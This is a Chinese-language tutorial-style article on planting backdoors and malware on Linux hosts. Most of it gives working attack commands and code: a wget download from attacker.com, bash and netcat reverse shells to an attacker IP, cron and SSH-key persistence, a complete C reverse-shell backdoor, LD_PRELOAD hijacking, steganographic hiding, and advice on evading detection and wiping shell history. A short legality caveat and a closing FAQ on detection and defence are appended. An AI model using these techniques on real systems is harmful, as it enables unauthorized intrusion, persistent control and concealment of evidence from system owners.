在Linux系统中,"传马"通常指在目标主机上植入后门或恶意程序的过程,常被用于渗透测试或安全研究,以下是关于Linux传马命令的详细说明,涵盖常用方法、工具及注意事项。

基础传马方法
利用网络传输工具
通过SSH、FTP、HTTP等协议将恶意程序传输到目标主机,例如使用scp
命令:
scp /path/to/malicious user@target:/tmp/
或使用wget
从远程服务器下载:
http://attacker.com/malware -O /tmp/malware
利用基础命令生成后门
通过bash
、nc
等工具生成反弹shell,例如使用bash
反弹:
bash -i >& /dev/tcp/attacker_ip/4444 0>&1
或使用nc
(需目标安装netcat):

nc -e /bin/bash attacker_ip 4444
利用计划任务或定时任务
通过cron
植入持久化后门:
echo '*/5 * * * * /tmp/malware' | crontab -
高级传马技术
利用编译型语言
使用C语言编写后门并编译,
#include <stdio.h> #include <sys/socket.h> #include <netinet/in.h> int main() { int sock = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(4444); addr.sin_addr.s_addr = inet_addr("attacker_ip"); connect(sock, (struct sockaddr*)&addr, sizeof(addr)); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execve("/bin/sh", NULL, NULL); return 0; }
编译后传输:gcc -o backdoor backdoor.c
利用共享库劫持
通过修改LD_PRELOAD环境变量劫持函数:

gcc -shared -fPIC -o inject.so inject.c export LD_PRELOAD=/tmp/inject.so
利用SSH公钥认证
生成SSH公钥并写入目标~/.ssh/authorized_keys
:
ssh-keygen -t rsa cat ~/.ssh/id_rsa.pub | ssh user@target 'mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys'
隐蔽传马技术
利用加密传输
使用openssl
加密传输文件:
# 发送方 openssl enc -aes-256-cbc -salt -in malware -out malware.enc # 接收方 openssl enc -d -aes-256-cbc -in malware.enc -out malware
利用隐写术
将恶意程序嵌入图片或音频文件:
steghide embed -cf image.jpg -ef malware
利用环境变量
将命令拆分到环境变量中执行:
export CMD='bash -i >& /dev/tcp/attacker_ip/4444 0>&1' eval $CMD
常用工具对比
工具/方法 | 优点 | 缺点 | 适用场景 |
---|---|---|---|
scp/wget | 简单直接,无需额外依赖 | 可被防火墙拦截 | 已有SSH/HTTP权限时 |
反弹shell | 交互性强,适合复杂操作 | 需目标开放端口 | 内网渗透 |
编译型后门 | 隐蔽性好,无需解释器 | 需要编译环境 | 长期控制 |
SSH公钥 | 持久化,无需密码 | 需要SSH写入权限 | 多次渗透 |
共享库劫持 | 难以检测 | 需要特定程序触发 | 提权后利用 |
注意事项
- 合法性:传马行为需在授权范围内进行,未经授权的系统操作可能违法。
- 检测规避:需结合编码、混淆、加密等技术规避安全软件检测。
- 权限维持:需考虑后门的持久性,如通过cron、服务、rootkit等方式。
- 日志清理:操作后需清除日志,如
history -c
、> ~/.bash_history
等。
相关问答FAQs
Q1: 如何检测Linux系统中是否被植入后门?
A1: 可通过以下方式检测:
- 检查异常进程:
ps aux | grep suspicious
- 检查网络连接:
netstat -anp | grep ESTABLISHED
- 检查定时任务:
crontab -l
- 检查SSH公钥:
cat ~/.ssh/authorized_keys
- 使用工具如
chkrootkit
、rkhunter
扫描 rootkit。
Q2: Linux系统如何防范传马攻击?
A2: 防范措施包括:
- 限制用户权限,遵循最小权限原则
- 定期更新系统和软件,修补漏洞
- 禁用或限制不必要的网络服务
- 使用入侵检测系统(如OSSEC)监控异常行为
- 定期审计日志,检查可疑操作
- 对敏感文件设置严格的权限控制。